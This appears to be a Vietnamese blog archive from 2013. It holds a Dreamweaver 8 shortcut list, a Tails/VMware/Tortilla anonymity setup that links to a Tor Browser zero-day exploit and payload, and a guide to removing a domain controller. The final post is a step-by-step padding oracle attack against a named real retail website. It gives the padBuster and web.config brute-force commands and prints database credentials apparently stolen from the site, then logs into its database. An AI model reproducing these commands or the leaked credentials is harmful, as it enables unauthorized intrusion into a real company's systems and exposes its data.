Social Icons

Chủ Nhật, 13 tháng 10, 2013

Phím tắt trong Dreamweaver 8


Bàn phím tắt -- : -- Hành động 

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

Alt + F -- : -- Nộp / Mở menu file. 

Ctrl + N / Cmd + N  -- : -- Tài liệu mới / Mở một tài liệu mới để chỉnh sửa.

Ctrl + O / Cmd + O  -- : --  Mở / Mở một tài liệu hiện có để chỉnh sửa. 

Ctrl + Shift + O / Cmd + Shift + O -- : -- Mở trong khung / Mở một tài liệu hiện có vào trong khung được lựa chọn để chỉnh sửa.

Ctrl + W / Cmd + W  -- : -- Đóng/Đóng tài liệu hiện hành. Nếu nó chưa được lưu, bạn sẽ được nhắc nhở để tiết kiệm.
Ctrl + Shift + W / Cmd + Shift + W  -- : -- Đóng Tất cả/Đóng tất cả các tài liệu mở. Nếu một số người đã không được lưu, bạn sẽ được nhắc nhở để tiết kiệm mỗi một.

Ctrl + S / Cmd + S  -- : -- Tiết kiệm lưu tài liệu hiện hành. Nếu nó chưa bao giờ được lưu, bạn sẽ được nhắc nhở cho một tên tập tin.
Ctrl + Shift + S / Cmd + Shift + S  -- : -- Save As ... Lưu tài liệu hiện tại với một tên tập tin mới.

Ctrl + P / Cmd + P  -- : -- In/In trang HTML cho tài liệu hiện tại.

F12  -- : -- Xem trong trình duyệt/Xem trang web trong trình duyệt web chính của bạn.

Ctrl + F12 / Cmd + F12   -- : -- Xem trong trình duyệt thay thế/Xem trang web trong trình duyệt web thay thế của bạn.

Shift + F8   -- : -- Liên kết kiểm tra/Validate các liên kết trong tài liệu hiện hành.

Shift + F6   -- : -- Xác nhận đánh dấu/Xác nhận HTML trong tài liệu hiện hành.

Ctrl + Q / Cmd + Q  -- : -- Thoát/Thoát khỏi chương trình và thoát.

Alt + E   -- : -- Sửa/Mở trình đơn chỉnh sửa.

Ctrl + Z / Cmd + Z -- : -- Undo/Hoàn tác thay đổi cuối cùng.

Ctrl + Shift + Z / Cmd + Shift + Z  -- : -- Làm lại/Làm lại lùi lại cuối cùng.

Ctrl + X / Cmd + X  -- : -- Cắt/Cắt văn bản được lựa chọn và đặt nó vào clipboard.

Ctrl + C / Ctrl + C  -- : -- Sao chép/Sao chép văn bản được lựa chọn và đặt nó vào clipboard.

Ctrl + V / Cmd + V  -- : -- Dán/Dán văn bản vào clipboard tại vị trí con trỏ.

Ctrl + Shift + C / Cmd + Shift + C  -- : -- Bản sao HTML/Sao chép mã HTML được lựa chọn và đặt nó vào clipboard.

Ctrl + Shift + V / Cmd + Shift + V  -- : -- Dán HTML/Dán HTML vào clipboard tại vị trí con trỏ.

Ctrl + A / Cmd + A  -- : -- Chọn tất cả/Chọn tất cả các văn bản trong cửa sổ.
Ctrl + [ / Cmd + [   -- : -- Tag chọn chuyên/Chọn thẻ chứa.

Ctrl +] / Cmd +]  -- : -- Chọn Tag / Chọn thẻ chứa.

Ctrl + F / Cmd + F  -- : -- Tìm và Thay thế/Tìm kiếm trong tài liệu hiện tại cho văn bản và thay thế bằng văn bản khác nếu bạn chọn.

Shift + F3 / Cmd + G  -- : -- Lựa chọn tìm kiếm trong tài liệu hiện tại cho các văn bản đã chọn.
F3  -- : -- Tìm tiếp theo/Tới trường hợp tiếp theo của chuỗi tìm kiếm.

Ctrl + G / ?  -- : -- Tới số dòng hoặc vị trí ký tự bạn chỉ định.

Ctrl + Space / Cmd + Space  -- : -- Mã hiển thị gợi ý hiển thị bất kỳ thông tin có sẵn trên thẻ tại con trỏ.

Ctrl + Shift + > / Cmd + Shift + >  -- : -- Thụt/Thụt dòng chọn (s) một không gian tab.
Ctrl + Shift + < / Cmd + Shift + << -- : -- Nhô lề/Nhô lề đường lựa chọn (s) một không gian tab.

Ctrl + Shift + " / Cmd + Shift + ' -- : -- Cân bằng Niềng răng/Căn niềng răng.

Ctrl + U / Cmd + U -- : -- Sở thích / thay đổi sở thích của bạn cho Dreamweaver.

Alt + V -- : -- Xem/Mở menu View.

Ctrl + `/ Cmd +`  -- : -- Xem chuyển đổi/Chuyển đổi giữa các mã, thiết kế, và mã và xem thiết kế. 

F5 -- : -- Làm mới thiết kế / Xem lại đánh dấu hiển thị trong giao diện thiết kế. 

Ctrl + Shift + H / Cmd + Shift + H  -- : -- Đầu nội dung / hiển thị các nội dung tiêu đề trong khi theo quan điểm thiết kế.

F6 -- : -- Bàn mở rộng chế độ/Xem bảng mở rộng.

Ctrl + F6 / Cmd + F6 -- : -- Bố trí Chế độ/Xem bảng ở chế độ bố trí.

Ctrl + Shift + I / Cmd + Shift + I -- : -- Ẩn tất cả các giáo cụ trực quan/Tắt tất cả các công cụ trực quan.

Ctrl + Alt + R / Cmd + Opt + R   -- : -- Hiện tất cả/Thước hiển thị tất cả các nhà lãnh đạo trên màn hình.

Ctrl + Alt + G / Cmd + Opt + G  -- : -- Hiển thị lưới/Hiển thị lưới trong thiết kế xem.

Ctrl + Alt + Shift + G / Cmd + Opt + Shift + G   -- : -- Gắn vào lưới các yếu tố Snap để lưới điện.

Ctrl + Alt + P / Cmd + Opt + P  -- : -- Chơi Plugin/Chơi cắm ở con trỏ.

Ctrl + Alt + X / Cmd + Opt + X   -- : -- Dừng Plugin/Dừng cắm tại con trỏ.

Ctrl + Alt + Shift + P / Cmd + Opt + Shift + P   -- : -- Chơi All Plugins/Chơi tất cả các plugin.

Ctrl + Alt + Shift + X / Cmd + Opt + Shift + X  -- : -- Ngưng tất cả Plugins/Dừng tất cả các plugin.

F4  -- : -- Ẩn Panels giấu tất cả các bảng mở. 

Alt + I   -- : -- Chèn/Mở trình đơn chèn.

Ctrl + E / Cmd + E  -- : -- Chèn Tag/Chèn thẻ đánh dấu tại con trỏ.

Ctrl + Alt + I / Cmd + Opt + I  -- : -- Chèn hình ảnh Insert tại con trỏ.

Ctrl + Alt + F / Cmd + Opt + F  -- : -- Chèn Flash/Chèn hình ảnh động Flash tại con trỏ.

Ctrl + Alt + D / Cmd + Opt + D  -- : -- Chèn Shockwave/Chèn đối tượng Shockwave tại con trỏ.

Ctrl + Alt + T / Cmd + Opt + T  -- : -- Bảng chèn/Bảng Insert tại con trỏ.
Ctrl + Alt + A / Cmd + Opt + A  -- : -- Chèn tên Neo/Chèn tên neo tại con trỏ.

Shift + Return / Shift + Return   -- : -- Chèn xuống dòng/Chèn ngắt dòng (<br />) tại con trỏ. 

Ctrl + Shift + Space / Cmd + Shift + Space hoặc Option + Space trong Design View  -- : -- Không gian không bị phá hủy/Chèn một không gian không bị phá hủy () tại con trỏ. 

Ctrl + Alt + V / Cmd + Opt + V  -- : -- Chèn Editable Region/Chèn khu vực có thể chỉnh sửa cho một mẫu tại con trỏ.

Alt + M   -- : -- Sửa đổi/Mở menu sửa đổi.
Ctrl + J / Cmd + J  -- : -- Properties/Sửa đổi thuộc tính cho trang.

Ctrl + T / Cmd + T   -- : -- Nhanh thẻ thông tin/Thêm một thẻ một cách nhanh chóng trong quan điểm thiết kế.

Ctrl + L / Cmd + L   -- : -- Thực hiện liên kết/Làm cho đối tượng nêu bật một liên kết.

Ctrl + Shift + L / Cmd + Shift + L  -- : -- Loại bỏ liên kết/Hủy bỏ liên kết từ đối tượng đánh dấu.

Ctrl + Shift +1 / Cmd + Shift + 1  -- : -- Căn trái/Căn đối tượng bên trái. 

Ctrl + Shift +3 / Cmd + Shift +3 -- : -- Align Right/Căn đúng đối tượng. 

Ctrl + Shift +4 / Cmd + Shift +4   -- : -- Sắp xếp trên/Align đối tượng ở đầu trang.

Ctrl + Shift 6 / Cmd + Shift 6  -- : -- Sắp xếp dưới/Align đối tượng ở phía dưới.

Ctrl + Alt + Shift + T / Cmd + Opt + Shift + T  -- : -- Thêm đối tượng vào Timeline/Thêm yếu tố để thời gian.

Alt + T  -- : -- Văn bản
trình đơn văn bản Open.

Shift + F7  -- : -- Kiểm tra chính tả/Kiểm tra chính tả trong tài liệu.
Alt + C  -- : -- Lệnh/Mở menu lệnh.

Ctrl + Shift + X / Cmd + Shift + X  -- : -- Bắt đầu ghi âm/Ghi lại tất cả các lệnh.

Alt + S   -- : -- Trang web/Mở menu trang web.

Ctrl + Shift + D / Cmd + Shift + D  -- : -- Được nhận tất cả các file trên trang web từ xa và mang chúng đến ổ đĩa cục bộ.

Ctrl + Alt + Shift + D / Cmd + Opt + Shift + D  -- : -- Kiểm tra/Kiểm tra tất cả các tập tin trên trang web từ xa và đưa chúng vào ổ đĩa cục bộ.

Ctrl + Shift + U / Cmd + Shift + U -- : -- Đưa/Đặt tất cả các tập tin trên trang web từ xa từ ổ đĩa cục bộ.
Ctrl + Alt + Shift + U / Cmd + Opt + Shift + U  -- : -- Kiểm tra trong/Kiểm tra trong tất cả các file trên ổ đĩa cục bộ và đặt chúng trên trang web từ xa. 

Ctrl + F8 / Cmd + F8  -- : -- Liên kết kiểm tra trên toàn site/Xác nhận tất cả các liên kết trên trang web.
Alt + W  -- : -- Cửa sổ mở trình đơn cửa sổ. 

Ctrl + F2 / Cmd + F2   -- : -- Trình đơn chèn cửa sổ chèn/Chuyển chế độ.

Ctrl + F3 / Cmd + F3  -- : -- Tính đơn/Bật tắt cửa sổ thuộc tính.

Shift + F11  -- : -- CSS Styles/Chuyển đổi CSS cửa sổ phong cách.

F2  -- : -- Lớp đơn/Chuyển đổi qua cửa sổ lớp.
Shift + F4 -- : -- Hành vi đơn/Chuyển đổi cửa sổ hành vi.

Shift + F9   -- : -- Đoạn đơn/Bật tắt cửa sổ đoạn.

Shift + F1   -- : -- Thực đơn tham khảo cửa sổ tài liệu tham khảo Bật tắt. 

Ctrl + Shift + F10 / Cmd + Shift + F10  -- : -- Cơ sở dữ liệu đơn/Chuyển đổi cửa sổ cơ sở dữ liệu.

Ctrl + F10 / Cmd + F10  -- : -- Cam kết ràng buộc đơn/Bật tắt cửa sổ cam kết ràng buộc.
Ctrl + F9 / Cmd + F9  -- : -- Máy chủ hành vi đơn/Bật tắt cửa sổ hành vi máy chủ. 

Ctrl + F7 / Cmd + F7   -- : -- Thành phần đơn/Bật tắt cửa sổ thành phần.

F8  -- : -- File đơn/Chuyển đổi cửa sổ tập tin.
F11  -- : -- Tài sản đơn/Chuyển đổi cửa sổ tài sản.

F9   -- : -- Thẻ thanh tra đơn/Bật tắt cửa sổ thanh tra thẻ.

F7  -- : -- Kết quả đơn/Chuyển đổi cửa sổ kết quả.

Shift + F10  -- : -- Lịch sử đơn cửa sổ lịch sử Bật tắt.

Shift + F2  -- : -- Khung đơn/Bật tắt cửa sổ khung.

F10   -- : -- Mã Thanh tra đơn/Bật tắt cửa sổ thanh tra mã.

Alt + F9  -- : -- Mốc thời gian đơn/Bật tắt cửa sổ thời gian biểu.

Alt + H   -- : --  Giúp mở menu trợ giúp. 

F1  -- : -- Trợ giúp với việc sử dụng Dreamweaver.

Ctrl + F1 / Cmd + F1  -- : -- Trợ giúp với sử dụng ColdFusion.

Shift + F1  -- : -- Tài liệu tham khảo giúp đỡ tham khảo cho Dreamweaver. 


readmore...

Thứ Năm, 29 tháng 8, 2013

Tails + Vmware + Tortilla = "Siêu Hành"




Trước khi bắt đầu bài mới này, chúng ta sẽ nhớ sự kiện gần đây đã xảy ra xung quanh trên sự riêng tư của người sử dụng mạng.

Như chúng ta đều biết các thiết kế của mạng Tor đảm bảo rằng người dùng không thể biết được nơi có vị trí máy chủ và máy chủ không thể biết địa chỉ IP của người dùng, tất nhiên trừ khi bạn chèn mã theo dõi.



Hãy nhớ lại vụ của Freedom hosting, 1 vài đoạn mã script giúp FBI có thể truy ra IP thật của bạn, đó là lỗi của Tor trên Firefox 17 ESR


Exploit Zero-Day :   http://pastebin.com/GxRkkCXh

Payload                :    http://pastebin.com/AwnzEpmX



Tortilla


Tortilla là một công cụ mã nguồn mở cho phép người dùng lướt web một cách an toàn, vô danh. Tortilla có các tuyến đường chức năng TCP / IP và DNS, không phụ thuộc vào phần mềm máy khách, và không dựa trên bất kỳ VPN, thêm phần cứng hoặc một máy ảo.



Ấn vào tệp exe để cài nhé, tự động hết



Setup TESTSIGNING Cấu hình khởi động.

Đầu tiên cứ làm theo hình

Máy mình làm tại quán net, nên nó khóa CMD rồi, nên bạn cứ làm theo hình nhé.

Mở CMD, gõ sao cho nó giống hình.

Kích hoạt tính năng : Bcdedit.exe -set TESTSIGNING ON
Tắt kick hoạt          : Bcdedit.exe -set TESTSIGNING OFF



Như hình là đã xong.

Như chúng ta có thể nhìn thấy testsigning tùy chọn đã được thiết lập. Sau đó tiến hành khởi động lại. và kiểm tra tập tin config Tor, để biết chính xác là cổng 9051.


Lưu ý: nếu có cổng 9050 như mình đây,m thì thiết lâp lại nhé.


Đã cài xong cái Tortilla


Thêm một network nữa


Cài Tails trên máy ảo
Làm như hình, quá dễ dàng để làm






Thiết lập Tortilla cho máy ảo

Làm như hình






Một vài thiết lập nhỏ, giúp chúng ta có 1 hệ thống "Hành" rất đỉnh. Cảm ơn đã đón đọc

readmore...

Thứ Sáu, 23 tháng 8, 2013

Cách xóa DOMAIN CONTROLLER trong sever

Bước 1: Nhấn Start nhập lệnh CMD

Bước 2: Nhập lệnh DCPROMO - u


Bước 3: Xuất hiện cửa sổ Active Directory Installation Wizard. Nhấn Next




Bước 4: Nhấn Next

Bước 5: Đánh dấu vào checkbox rồi nhấn Next


Bước 6: Nhấn Next

Bước 7: Nhập mật khẩu Administrator và xác nhận mật khẩu. Nhấn Next

Bước 8: Xuất hiện của sổ configuration lại DC.

Bước 9: Xuất hiện thông báo thành công. Ta nhấn Finish
readmore...

Thứ Năm, 22 tháng 8, 2013

Padding Orale Attack

Victim: http://bigc.vn/
Kiểm tra lỗi Padding Orale



View source:



Chú ý đoạn code sau:
/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2&amp;t=634538991637902500" 


Bước 1: Chuẩn bị Tools

Trước tiên cần cài đặt perl:

Coppy 2 file  padBuster.pl và Web.config_bruter.pl sau vào ổ C:

padBuster.pl:
Web.config_bruter.pl:
pass unlock: soleil_vhb
pass giải nén: ceh.vn




Bước 2:  Thực hiện lệnh trên CMD

vào Run command

Cd\

Chạy lệnh:
padBuster.pl http://bigc.vn/WebResource.axd?d=OpduU2rj_NJHaBhjNiUZ7g2 OpduU2rj_NJHaBhjNiUZ7g2 8 -encoding 3 -plaintext "|||~/web.config"





Đến bước này đợi 1 lát, nó sẽ chạy cho đến dòng:

“The ID# marked with **  is recommended: “

Lúc này ta sẽ nhập số 2 và ấn enter






Chờ đợi tầm 30 phút chương trình sẽ giải mã ra giá trị sau:

M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0




Sau khi có giá trị kết quả giải mã, thực hiện tiếp câu lệnh:

Web.config_bruter.pl http://bigc.vn/WebResource.axd M0-Q6vb5oiWPYJMC3WdcQgAAAAAAAAAA0 8

Đợi chương trình biên dịch xong ( Tầm 1 tiếng ) ta sẽ có kết quả như sau: 






Kết quả: 

 u2LzoCD0ZcozT5Dq9vm iJY9gkwLdZ1xCAAAAAAAAAAA1

 gPdbQmmzWIEzT5Dq9vmiJY9gkwLdZ1xCAAAAAAAAAAA1

Mỗi lần biên dịch, chương trình sẽ cho ra 1 giá trị khác nhau nhưng link đều đưa về cùng 1 kết quả




Bước 3: Lấy thông tin file config:


hoặc:

Ta được thông tin sau: ID=bigc;Password=RrmX6W6ODi





Bước 4: login vào Database




Sử dụng tool: MySQL management studio express









readmore...